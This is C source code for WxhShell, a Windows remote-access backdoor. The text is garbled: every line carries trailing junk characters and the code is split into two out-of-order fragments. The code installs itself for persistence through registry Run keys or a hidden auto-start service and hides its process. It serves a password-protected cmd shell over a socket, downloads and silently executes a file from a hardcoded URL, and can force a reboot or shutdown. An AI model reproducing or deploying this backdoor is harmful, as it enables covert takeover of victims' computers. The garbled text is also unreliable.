    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "B\qp"N  
    else { l^SKd  
    closesocket(wsh); 'Kq%t M26!  
    ExitThread(0); &^Xm4r%u_  
    } `fL$t0 "  
    break; Ms$kL'/  
    } sQ_{zOUPh  
  // 获取shell zi5;>Iv0}  
  case 's': { mO\6B7V!  
    CmdShell(wsh); Ltu;sw  
    closesocket(wsh); -PX {W)Aw  
    ExitThread(0); EBn7waBS  
    break; -yC},tK  
  } _qGkTiP  
  // 退出 6g!t1%Kb  
  case 'x': { #]Cr zLe  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^v`|0z\  
    CloseIt(wsh); +`9T?:fu  
    break; _[.`QW~  
    } eQNYfWR  
  // 离开 }6o` in>M  
  case 'q': { %II |;<  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); =T+<>/[  
    closesocket(wsh); jbG #__#_  
    WSACleanup(); ~< k'{  
    exit(1); Va{`es)hky  
    break; _kar5B$  
        } 7wZKK0;T  
  } ~UL; O\-b0  
  } Q!@" Y/  
=XqmFr;h  
  // 提示信息 ('>!dXA$  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); MN#\P1  
} Wx^L~[l  
  } BK-{z).)  
2"13!s  
  return; 'Yj/M  
} UGAP$_j ]P  
d#A.A<p*  
// shell模块句柄 m. XLpD  
int CmdShell(SOCKET sock) Xp%JPI {  
{ RCsd  
STARTUPINFO si; +H+OYQ>^  
ZeroMemory(&si,sizeof(si)); n}YRE`>D  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; r% qgLP{v  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; []'BrG)!  
PROCESS_INFORMATION ProcessInfo; Xo'_|-N+  
char cmdline[]="cmd"; 0(64}T)  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .)Du ;  
  return 0; &'i>5Y  
} 6)Kg!.n%f  
_57i[U r  
// 自身启动模式 }2G'3msx  
int StartFromService(void) x|1OGbBK  
{ uN'e~X6  
typedef struct U t0oh  
{ aLG6yVtu  
  DWORD ExitStatus; %\CsP!  
  DWORD PebBaseAddress; P0|V1,)  
  DWORD AffinityMask; c!j$ -Ovm  
  DWORD BasePriority; hX<0{pXM4  
  ULONG UniqueProcessId; S\mh{#Lpk  
  ULONG InheritedFromUniqueProcessId; \|Us/_h  
}   PROCESS_BASIC_INFORMATION; CGPPo;RjK  
Z?dz@d%C  
PROCNTQSIP NtQueryInformationProcess; 7hQrL+%q8  
k WF, *@.B  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; TVQ9"C  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; J](AJkGzK  
va| 1N/&  
  HANDLE             hProcess; LG@5Z-  
  PROCESS_BASIC_INFORMATION pbi; L%Me wU0TZ  
oS, %L  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =M>pL+#  
  if(NULL == hInst ) return 0; F!'y47QD  
tpU[KR[-  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *i&ks> 4N  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); bF<FX_}!s!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8|HuxE  
TU^UR}=lP  
  if (!NtQueryInformationProcess) return 0; eqg|bc[i!t  
&KT*rL  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,d$V-~2,  
  if(!hProcess) return 0; F0qGkMs|f  
/n&w|b%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; T5Yu+>3  
KHI-m9(  
  CloseHandle(hProcess); 4uwI=UUB  
DFcgUEq  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); EH=[!iW;  
if(hProcess==NULL) return 0; X6kCYTJYF  
4Un(}P'   
HMODULE hMod; S&q@M  
char procName[255]; Mnc9l ^  
unsigned long cbNeeded; !Qy%sY  
2h%/exeS;  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1pg&?L.MA  
**N{XxdN  
  CloseHandle(hProcess); krFuEaO  
!g'kWE[  
if(strstr(procName,"services")) return 1; // 以服务启动 i^f*Em1  
@ l41'?m  
  return 0; // 注册表启动 I x kL]  
} uD4on}  
(p>?0h9[  
// 主模块 \QGh@AQp"  
int StartWxhshell(LPSTR lpCmdLine) Y{ijSOl3  
{ 49W@?: b  
  SOCKET wsl; yb\T< *  
BOOL val=TRUE; sIJl9  
  int port=0; dG2k4 O  
  struct sockaddr_in door; Arc6d5Q  
aA7}>  
  if(wscfg.ws_autoins) Install(); yS'W ss  
K&3,J7&&  
port=atoi(lpCmdLine);  qr~P$  
Jz<-B  
if(port<=0) port=wscfg.ws_port; 98'/yZ  
g 0O~5.f  
  WSADATA data; F>RL&i  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Q8. =w  
q!iS Y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   LDc?/ Z1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~.7/o0'+  
  door.sin_family = AF_INET; )31{.c/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); /N'0@ q  
  door.sin_port = htons(port); iI.pxo s  
|qm_ESzl  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =HapCmrx8  
closesocket(wsl); ZRHK?wg'#  
return 1; X$BN &DD  
} fqpbsM;M]  
5 nF46c  
  if(listen(wsl,2) == INVALID_SOCKET) { +Np[m$Z *  
closesocket(wsl); MkLXMwuQ&  
return 1; kD;1+lNz  
} wIQ~a  
  Wxhshell(wsl); _@2}zT  
  WSACleanup(); !>RDHu2n  
71b0MHNkvv  
return 0; J PO'1 D)  
.Q!_.LX  
} E mG':K(  
&tVIl$e  
// 以NT服务方式启动 X} {z7[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -+y lJo[D  
{ !B|Aq- n,  
DWORD   status = 0; v'RpsCov  
  DWORD   specificError = 0xfffffff; w2X0.2)P2  
/{Mo'.=Z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 03p D<  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; <fS WX>pR  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <$z6:4uN_  
  serviceStatus.dwWin32ExitCode     = 0; W>#[a %R  
  serviceStatus.dwServiceSpecificExitCode = 0; # RoJD:9  
  serviceStatus.dwCheckPoint       = 0; NVnId p  
  serviceStatus.dwWaitHint       = 0; L!;"73,&(8  
r+:]lO  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); C GN=kQ  
  if (hServiceStatusHandle==0) return; f |%II,!3  
$|"Y|3&X  
status = GetLastError(); wE3L,yx=  
  if (status!=NO_ERROR) WwUhwY1o!L  
{ P aD6||1F  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; (fA>@5n  
    serviceStatus.dwCheckPoint       = 0; /aTW X  
    serviceStatus.dwWaitHint       = 0; {{6D4M|s  
    serviceStatus.dwWin32ExitCode     = status; Kd r7 V  
    serviceStatus.dwServiceSpecificExitCode = specificError; ;O`ZVB  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); atiyQuT6Wh  
    return; h*>%ou   
  } /O[<"Wcz  
\+M6R<Qw  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; o|kiwr}Y  
  serviceStatus.dwCheckPoint       = 0; ^yLhL^Y  
  serviceStatus.dwWaitHint       = 0; ThvgYv--B  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _sqj~|K  
} &L[i"1a  
+$}3=n34)  
// 处理NT服务事件,比如:启动、停止 Bo,>blspw  
VOID WINAPI NTServiceHandler(DWORD fdwControl) whi#\>i  
{ *O|_)G  
switch(fdwControl) %<)!]8}P*  
{ 4bs<j  
case SERVICE_CONTROL_STOP: ' kOkwGf!  
  serviceStatus.dwWin32ExitCode = 0; %1oB!+tv  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; u4#YZOiY)A  
  serviceStatus.dwCheckPoint   = 0; hv0bs8h  
  serviceStatus.dwWaitHint     = 0; dzQs7D}  
  { x{O) n  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]4ib^R~Z  
  } 5^ck$af  
  return; H@xHkqan  
case SERVICE_CONTROL_PAUSE: #My14u  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; >^6|^rc  
  break; KS'n$  
case SERVICE_CONTROL_CONTINUE: ;FGS(.mjlC  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; c>Tf@A og>  
  break; UY6aD~tD0  
case SERVICE_CONTROL_INTERROGATE: 2U|"]tpM&  
  break; 3q W](  
}; B[ .$<$}G  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); skm~~JM^  
} 38 ] }+Bb  
;Rlf[](iL  
// 标准应用程序主函数 Z;O!KsJ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) t[r 6jo7  
{ Sa[?B  
=X1oB ,W{  
// 获取操作系统版本 !,+<?o y  
OsIsNt=GetOsVer(); gvFJ~lL  
GetModuleFileName(NULL,ExeFile,MAX_PATH); S{m:Iij[;  
=2t=Zyp0Y  
  // 从命令行安装 wz..  
  if(strpbrk(lpCmdLine,"iI")) Install(); sWmqx$  
\G#_z|'dN  
  // 下载执行文件 5X>K#N  
if(wscfg.ws_downexe) { %[, R Q">v  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =8v NOvA  
  WinExec(wscfg.ws_filenam,SW_HIDE); KE.O>M ,I.  
} U!{~L$S  
.-'_At4g  
if(!OsIsNt) { w`DcnQK'  
// 如果时win9x,隐藏进程并且设置为注册表启动 @HzK)%@  
HideProc(); j8oX9 Yo0=  
StartWxhshell(lpCmdLine); ;Fo7 -kK  
} Yy~xNj5OS  
else ?W_8 X2(`  
  if(StartFromService()) R; w$_1  
  // 以服务方式启动 !1ZItJ74#  
  StartServiceCtrlDispatcher(DispatchTable); ^7uXpqQBr  
else Jk v!]C  
  // 普通方式启动 OMW]9E  
  StartWxhshell(lpCmdLine); 2$o#b .  
&q&~&j'[  
return 0; $Zr \$z2  
} &pQ[(|=(  
h3bQ<?m  
7H*,HZc@=  
Q;N)$Xx  
=========================================== : t9sAD  
?V}ub>J/=  
-X_\3J  
_&(L{cFx6  
T6b~uE  
F Uz1P  
" nuDu  
<ne?;P1L  
#include <stdio.h> CA1Jjm=  
#include <string.h> ;GE6S{~-  
#include <windows.h> d U*$V7  
#include <winsock2.h> \!hd|j?&6  
#include <winsvc.h> -Bq]E,Xf)  
#include <urlmon.h> x ;~;Ah.p  
;HBKOe_3  
#pragma comment (lib, "Ws2_32.lib") a x)J!I18  
#pragma comment (lib, "urlmon.lib") pTaC$Ne  
y4! :l=E^  
#define MAX_USER   100 // 最大客户端连接数 M,W-,l ]  
#define BUF_SOCK   200 // sock buffer xQ';$&  
#define KEY_BUFF   255 // 输入 buffer ]#[4eaCg  
|)xWQ KzA  
#define REBOOT     0   // 重启 E2 FnC}#W  
#define SHUTDOWN   1   // 关机 $vK,Gugcx  
xbxzB<yL  
#define DEF_PORT   5000 // 监听端口 {Mj- $G"  
KwV!smi2  
#define REG_LEN     16   // 注册表键长度 }9^'etD  
#define SVC_LEN     80   // NT服务名长度 =E$bZe8  
A9g/At_  
// 从dll定义API p0y|pD  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $tF\7.e@  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~3-"1E>Rgy  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); t^Lb}A#$4  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); nGwon8&]]  
U.V/JbXX  
// wxhshell配置信息 dGj0;3FI%  
struct WSCFG { tK@7t0  
  int ws_port;         // 监听端口  }D+ b`,  
  char ws_passstr[REG_LEN]; // 口令 s?s ,wdp  
  int ws_autoins;       // 安装标记, 1=yes 0=no w >%^pO~}`  
  char ws_regname[REG_LEN]; // 注册表键名 BW6Ox=sr<  
  char ws_svcname[REG_LEN]; // 服务名 ?(U;T!n  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 l]~9BPsR  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ; w+  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 q6*i/"mN*  
int ws_downexe;       // 下载执行标记, 1=yes 0=no r`"T{o\e   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %sPze]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 J+Fev.9>  
kGs\"zZM  
}; ?w!8;xS8  
~NPhVlT  
// default Wxhshell configuration kN3 <l7  
struct WSCFG wscfg={DEF_PORT, cHVJ7yAZI  
    "xuhuanlingzhe", :/%Y"0  
    1, qdy(C^(fa  
    "Wxhshell", x_I*6?  
    "Wxhshell", #_x5-?3  
            "WxhShell Service", 3UmkFK<  
    "Wrsky Windows CmdShell Service", "wcw`TsK  
    "Please Input Your Password: ", ji>LBbnHdE  
  1, rW|%eT*/'A  
  "http://www.wrsky.com/wxhshell.exe", glc<(V  
  "Wxhshell.exe" ?{}P#sn  
    }; =-~))!(  
2z" <m2 a  
// 消息定义模块 q5S_B]|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  Qe7=6<  
char *msg_ws_prompt="\n\r? for help\n\r#>"; mR1b.$  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; )A%* l9\nG  
char *msg_ws_ext="\n\rExit."; %WKBd \O  
char *msg_ws_end="\n\rQuit."; y$bY 8L  
char *msg_ws_boot="\n\rReboot..."; (J.Z+s$:2  
char *msg_ws_poff="\n\rShutdown..."; TBrw ir  
char *msg_ws_down="\n\rSave to "; D vvi)/<  
4X*U~}  
char *msg_ws_err="\n\rErr!"; }apno|W&  
char *msg_ws_ok="\n\rOK!"; 8X.= 6M  
XN6$TNsD$  
char ExeFile[MAX_PATH]; 1<Mb@t  
int nUser = 0; < qab\M0W  
HANDLE handles[MAX_USER]; ]P#W\LZp  
int OsIsNt; cr<j<#(Z}  
Y3~z#<  
SERVICE_STATUS       serviceStatus; K?[Vz[-Fc  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; KAD2_@l  
h,B4Tg'  
// 函数声明 AG}j'   
int Install(void);  oJ*,a  
int Uninstall(void); ` L 1+j  
int DownloadFile(char *sURL, SOCKET wsh); N8df1>mW  
int Boot(int flag); aNY-F)XWa  
void HideProc(void); ykJ+LS{+  
int GetOsVer(void); JNXzZ4U  
int Wxhshell(SOCKET wsl); %7 yQ0'P  
void TalkWithClient(void *cs); ,u^{zYoW  
int CmdShell(SOCKET sock); rv(N0p/  
int StartFromService(void); aem gGw<  
int StartWxhshell(LPSTR lpCmdLine); R`DzVBLl  
Q0Do B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^`i z%^  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); R4VX*qkB  
5@r6'Z  
// 数据结构和表定义 y\uBVa<B  
SERVICE_TABLE_ENTRY DispatchTable[] =  K> 4w  
{ +ctU7 rVy  
{wscfg.ws_svcname, NTServiceMain}, ) 3"!Q+  
{NULL, NULL} X<.l(9$  
}; $0K@= 7ms  
VD@$y^!H  
// 自我安装 <uS/8MP{  
int Install(void) 3Mm_xYDud  
{ 0SWqC@AR%  
  char svExeFile[MAX_PATH]; ilVi  
  HKEY key; 6nE/8m  
  strcpy(svExeFile,ExeFile); 0&fO)de96  
g(X `.0  
// 如果是win9x系统,修改注册表设为自启动 <QFayZ$  
if(!OsIsNt) { +>1?ck  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t3?I4HQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #9r}Kr=P  
  RegCloseKey(key); 2)}*'_E9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zSD_t  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %{4 U\4d@'  
  RegCloseKey(key); F(."nUrf  
  return 0; _0gdt4  
    } ,g}$u'A+d  
  } wT- <#+L\  
} =H23eOS_#  
else { J ;z`bk^  
l3ogMRq@  
// 如果是NT以上系统,安装为系统服务 Kw;gQk~R!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "0Z /|&  
if (schSCManager!=0) *S.FM.r  
{ 8@LWg d  
  SC_HANDLE schService = CreateService x:~XZX\mwH  
  ( Rvu5#_P  
  schSCManager, %Rf9 KQ  
  wscfg.ws_svcname, 60{DR >S  
  wscfg.ws_svcdisp, cf$ hIB)Oi  
  SERVICE_ALL_ACCESS, /3rNX}tOMH  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 1Dc6v57  
  SERVICE_AUTO_START, KMkD6g  
  SERVICE_ERROR_NORMAL, RD)Vb$.B:  
  svExeFile, u0arJU_.)  
  NULL, ]i6* $qgma  
  NULL, \+sa[jK  
  NULL, b\H&E{Gn|x  
  NULL, (M1YOK)I  
  NULL M_UmnqN1C  
  ); bri8o"  
  if (schService!=0) *A8*FX>\F  
  { &}Wi@;G]2  
  CloseServiceHandle(schService); 9M7P|Q  
  CloseServiceHandle(schSCManager); #yR&|*@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0\Jeyb2dl  
  strcat(svExeFile,wscfg.ws_svcname); "|dhmV[;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { psmDGSm,&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Or?c21un  
  RegCloseKey(key); )V>OND  
  return 0; |hi,]D^Kc  
    } Kf[.@_TD<1  
  } q'+ARW48  
  CloseServiceHandle(schSCManager); T-ST M"~%  
} DMsqTB`  
} !e<2o2~.  
z8"1*V  
return 1; _<mY|  
} ?t6wozib2  
{*hvzS{1d  
// 自我卸载 e~(e&4pb  
int Uninstall(void) !idVF!xG  
{ :7.k E  
  HKEY key; D=3Z] 'A  
z7:* ,X  
if(!OsIsNt) { @J 5TDq @  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B=n90XO |  
  RegDeleteValue(key,wscfg.ws_regname); j #: ARb  
  RegCloseKey(key); p6BDhT(RS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ge?or]T1S  
  RegDeleteValue(key,wscfg.ws_regname); Z8ivw\|M8  
  RegCloseKey(key); tKe-Dk9  
  return 0; 9)S3{i6w  
  } 286reeN/e  
} <+q`Dk  
} B[7,Hy,R  
else { yF6AI@y  
'/ \*l<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); '&,p>aM  
if (schSCManager!=0) ,9I-3**W  
{ Twd*HH  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?0KIM* .  
  if (schService!=0) B/@LE{qUn  
  { XgnNYy6W  
  if(DeleteService(schService)!=0) { LprGsqr:  
  CloseServiceHandle(schService); 3w |5%`  
  CloseServiceHandle(schSCManager); )7+z/y+[n  
  return 0; Vq-Kl[-|  
  } `p* 43nV  
  CloseServiceHandle(schService); aN*{nW  
  } iZ}c[hC'3`  
  CloseServiceHandle(schSCManager); 0L32sF y  
} t}Td$K7  
} z?Z"*z  
WFk%nO/  
return 1; 4\|Q;@f  
} d(V4;8a0  
Bnk<e  
// 从指定url下载文件 <Rn-B).3bs  
int DownloadFile(char *sURL, SOCKET wsh) V0 Z8VqV  
{ (j@c946z""  
  HRESULT hr; Z+6WG  
char seps[]= "/"; 5HHf3E [  
char *token; )hQ]>o@i{  
char *file; #*y.C[^5{  
char myURL[MAX_PATH]; 7 qn=W  
char myFILE[MAX_PATH]; Z]DZ:dF  
vuY X0&  
strcpy(myURL,sURL); }{@y]DcdM4  
  token=strtok(myURL,seps); ?<N} Xh  
  while(token!=NULL) I2RXw  
  { pRE^; 4}z  
    file=token; ^`SEmYb;  
  token=strtok(NULL,seps); }s'=w]m  
  } jz=V*p}6  
y*sVimx  
GetCurrentDirectory(MAX_PATH,myFILE); pnp8`\cIH  
strcat(myFILE, "\\"); p&<n_b  
strcat(myFILE, file); Pke8RLg2A  
  send(wsh,myFILE,strlen(myFILE),0); Y-1K'VhT  
send(wsh,"...",3,0); FMF  mn|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); C|IHRw`[  
  if(hr==S_OK) "bRjY?D  
return 0; /\mYXi \  
else (vD==n9Hd  
return 1; \P":V  
`\"<%CCe  
} *}#HBZe(9  
PbS1`8|4  
// 系统电源模块 *3={s"a.(  
int Boot(int flag) v_U/0 0  
{ &XI9%h9|  
  HANDLE hToken; {2Tu_2>  
  TOKEN_PRIVILEGES tkp; X|!@%wuGC  
>vXJ9\  
  if(OsIsNt) { [) >Yp-n  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Aep](je  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); OMo/a%`  
    tkp.PrivilegeCount = 1; |k]]dP|:'  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; WwWOic2  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); os;9 4yd )  
if(flag==REBOOT) { )[ UYCx'  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) toD!RE  
  return 0; ;3& wO~lW  
} >}NnzZ  
else { %WR"qd&HSh  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {%k[Z9*tO  
  return 0; *5s*-^'#!  
} Uea2WJpX  
  } `# !>}/m  
  else { 4:O.x#p  
if(flag==REBOOT) { 1GkoE  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ' CJ_&HR  
  return 0; Uy|!f]"?  
} $'d,X@}8  
else { yk4py0xVl  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ac@\\2srV  
  return 0; H l(W'>*oL  
} rc>}3?o  
} Tyaqa0  
@m%B>X28F  
return 1; !UP B4I  
} WnOYU9 ;%  
A@d 2Ukv  
// win9x进程隐藏模块 Wql=PqF  
void HideProc(void) vNdX  
{ N:pP@o  
go6; _  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (Lh!7g/0N  
  if ( hKernel != NULL ) eS4t0`kP  
  { VE/m|3%t  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); izl-GitP  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @J6r;4|&  
    FreeLibrary(hKernel); z.)*/HGJm  
  } @Q nKaZ8jW  
}LX!dDuwA  
return; e~># M $  
} ~X<$ l+5  
7tJ#0to  
// 获取操作系统版本 KdZ=g ZSH  
int GetOsVer(void) G eB-4img  
{ K+L9cv4 |*  
  OSVERSIONINFO winfo; (NfB+Ue}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /?Y4C)G  
  GetVersionEx(&winfo); W:wSM *  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) NaQ~iY?  
  return 1; OaoHN& "  
  else *Ev8f11i&  
  return 0; $JBb] v8_  
} YB)I%5d;{  
M1 o@v0  
// 客户端句柄模块 fh1-]$z`~  
int Wxhshell(SOCKET wsl) DW7Jk"\GH  
{ As^eL/m2L  
  SOCKET wsh; \YF;/KwX$  
  struct sockaddr_in client;  9[YnY~z)  
  DWORD myID; h;#^?v!+  
 '@.Lg0`  
  while(nUser<MAX_USER) j3+ hsA/(k  
{ ;.$vDin6  
  int nSize=sizeof(client); \>.[QQVI"l  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); V5 9Vf[i|  
  if(wsh==INVALID_SOCKET) return 1; `s=Z{bw  
0/z$W.!  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :]8A;`G}  
if(handles[nUser]==0) "9*MSsU  
  closesocket(wsh); `W1TqA  
else c;yp}k]\  
  nUser++; $ 6r> Tc](  
  } &:g1*+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); e&[~}f?  
w_QWTD 0  
  return 0; ^K~=2^sh  
} `@6y Wb:X  
+>u 8r&Jw.  
// 关闭 socket td$RDtW[3  
void CloseIt(SOCKET wsh) C\{hN  
{ ^ rO}'~(  
closesocket(wsh); E2.!|u2  
nUser--; $kR%G{j 4  
ExitThread(0); 0R]'HA>  
} [{`&a#Q  
?f:0GE7  
// 客户端请求句柄 Y|/,*,u+  
void TalkWithClient(void *cs) r`+G9sj3U  
{ =&.9z 4A  
PuBE=9,  
  SOCKET wsh=(SOCKET)cs; u-.nR}DM_  
  char pwd[SVC_LEN]; ].QzOV'  
  char cmd[KEY_BUFF]; `!ja0Sq]U  
char chr[1]; y<v-,b*  
int i,j; fp3`O9+em  
mpIR: Im  
  while (nUser < MAX_USER) { mv$gL  
{Ov{O,c 5  
if(wscfg.ws_passstr) { (X2[}K  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); XA69t2J~F  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ne1W!0YLK  
  //ZeroMemory(pwd,KEY_BUFF); aE:$ N#|Qa  
      i=0; Wn2J]BH  
  while(i<SVC_LEN) { jEP'jib%  
dg0WH_#  
  // 设置超时 ,K&L/*  
  fd_set FdRead; }C=+Tn  
  struct timeval TimeOut; Q;m8 drU  
  FD_ZERO(&FdRead); ?c fFJl  
  FD_SET(wsh,&FdRead); nx{X^oc8e  
  TimeOut.tv_sec=8; rC/z8m3z  
  TimeOut.tv_usec=0; oHV!>K_D  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {p(6bsn_#]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 8KdcU [w]  
5GJa+St?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dg(sRTi{  
  pwd=chr[0]; k$7Kz"  
  if(chr[0]==0xd || chr[0]==0xa) { Mt~2&$>  
  pwd=0; pYUQSsqC  
  break; @zt"Y~9i  
  } <hgfgk7<  
  i++; }tH_YF}u  
    } zx?|5=+!  
.=Uu{F  
  // 如果是非法用户,关闭 socket uF D  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >ca`0gu  
} w,!N{hv(  
_.W;hf`  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); h}oV)z6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %;GRR (K  
{k'$uW `  
while(1) {  N=!k2+  
T{'oR .g,  
  ZeroMemory(cmd,KEY_BUFF); G{a_\'7  
G/1V4-@  
      // 自动支持客户端 telnet标准   yOk]RB<'r  
  j=0; vsB3n$2@u  
  while(j<KEY_BUFF) {  bWZzb&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m='_ O+ $  
  cmd[j]=chr[0]; AC?a:{ ./  
  if(chr[0]==0xa || chr[0]==0xd) { +KP&D.wIo  
  cmd[j]=0; 2>^jMln  
  break; ).MV1@s  
  } oPF n`8dQ  
  j++; uUv^]B 8GM  
    } +\cG{n*  
t6%zfm   
  // 下载文件 R:44Gv7  
  if(strstr(cmd,"http://")) { &?9~e>.OS  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); BGO pUy  
  if(DownloadFile(cmd,wsh)) Gs*X> D  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "@jYZm8  
  else ~yRKNH*M  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _G^4KwYp  
  }  S^5Qhv  
  else { ipRH.1=  
=MmAnjo  
    switch(cmd[0]) { x^YsXzu  
  j>hBNz  
